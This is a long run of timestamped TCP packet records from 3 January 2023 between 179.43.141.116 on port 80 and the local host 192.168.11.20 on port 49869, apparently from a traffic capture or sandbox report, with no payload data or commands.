                                                                              Jan 3, 2023 08:16:07.331007957 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331053972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331065893 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.331099987 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331114054 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.331150055 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331196070 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331212997 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.331242085 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331290007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331301928 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.331336021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331350088 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.331382036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331404924 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.331429005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331475019 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331521034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331563950 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.331567049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331613064 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331626892 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.331626892 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.331660032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331705093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331723928 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.331751108 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331796885 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331815004 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.331844091 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331890106 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331904888 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.331904888 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.331935883 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.331983089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332000971 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.332027912 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332051039 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.332075119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332102060 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.332120895 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332168102 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332212925 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332254887 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.332258940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332324028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332344055 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.332344055 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.332384109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332429886 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332436085 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.332475901 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332521915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332561970 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.332567930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332609892 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.332614899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332662106 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332679033 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.332709074 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332726955 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.332755089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332796097 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.332801104 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332848072 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332901001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332911968 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.332947016 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.332984924 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.332993984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333033085 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.333040953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333084106 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.333086967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333132982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333178997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333225012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333226919 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.333271027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333309889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.333309889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.333317041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333364010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333406925 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.333410025 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333456039 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333502054 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333542109 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.333549023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333595037 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333632946 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.333632946 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.333641052 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333688974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333729982 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.333734989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333781004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333795071 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.333827019 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333873034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333884954 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.333919048 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333965063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.333986044 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334011078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334032059 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334074020 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334110022 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334120989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334167957 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334213972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334227085 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334259987 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334306002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334326029 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334326982 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334352016 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334373951 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334398985 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334423065 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334445000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334491968 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334520102 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334537983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334583998 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334587097 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334630013 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334650993 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334650993 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334677935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334723949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334767103 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334767103 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334769964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334815979 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334861994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334862947 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334908962 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.334919930 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.334955931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.335001945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.335011005 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.335011005 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.335047960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.335094929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.335105896 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.335139990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.335163116 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.335186958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.335232973 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.335269928 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.335278988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.335325003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.335342884 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.335344076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.335371017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.335417986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.335438967 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.335463047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.335509062 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.335521936 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.335555077 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.335602999 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.335612059 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.335694075 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.335694075 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.335792065 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.377376080 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.377445936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.377497911 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.377549887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.377548933 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.377599955 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.377604008 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.377652884 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.377656937 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.377708912 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.377722025 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.377760887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.377801895 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.377815008 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.377851963 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.377871037 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.377923965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.377979994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.377985954 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.378032923 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378045082 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.378045082 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.378103971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378139973 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.378156900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378206015 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378221989 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.378252983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378298998 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378345013 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378346920 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.378391981 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378393888 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.378437996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378485918 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378499985 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.378530979 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378562927 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.378576994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378623962 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378654957 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.378654957 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.378669977 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378715992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378750086 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.378761053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378808022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378815889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.378854036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378900051 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378914118 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.378946066 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.378993034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379004002 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.379039049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379051924 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.379086971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379102945 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.379133940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379179955 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379225969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379246950 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.379246950 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.379272938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379318953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379343033 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.379343033 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.379364967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379411936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379440069 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.379457951 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379504919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379514933 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.379580021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379595995 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.379653931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379695892 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.379695892 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.379703045 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379750013 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379796982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379803896 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.379842997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379889011 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379901886 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.379935026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379981041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.379992008 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.380028009 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380039930 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.380074024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380090952 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.380120993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380167007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380213022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380225897 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.380259037 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380332947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380354881 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.380356073 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.380405903 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380433083 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.380454063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380501032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380546093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380558968 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.380592108 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380637884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380651951 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.380683899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380697966 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.380729914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380748034 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.380775928 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380820990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380867004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380909920 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.380912066 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380959034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.380975008 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381004095 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381021976 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381051064 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381072044 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381097078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381143093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381189108 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381234884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381236076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381236076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381279945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381325960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381331921 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381331921 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381371975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381417990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381428957 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381464005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381479025 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381511927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381557941 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381567001 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381613016 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381656885 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381684065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381705046 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381757975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381773949 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381808996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381855965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381901026 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381902933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381949902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.381982088 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381982088 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.381995916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382042885 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382088900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382088900 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.382136106 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382152081 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.382181883 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382227898 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382241964 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:07.382275105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:07.382322073 CET8049869179.43.141.116192.168.11.20
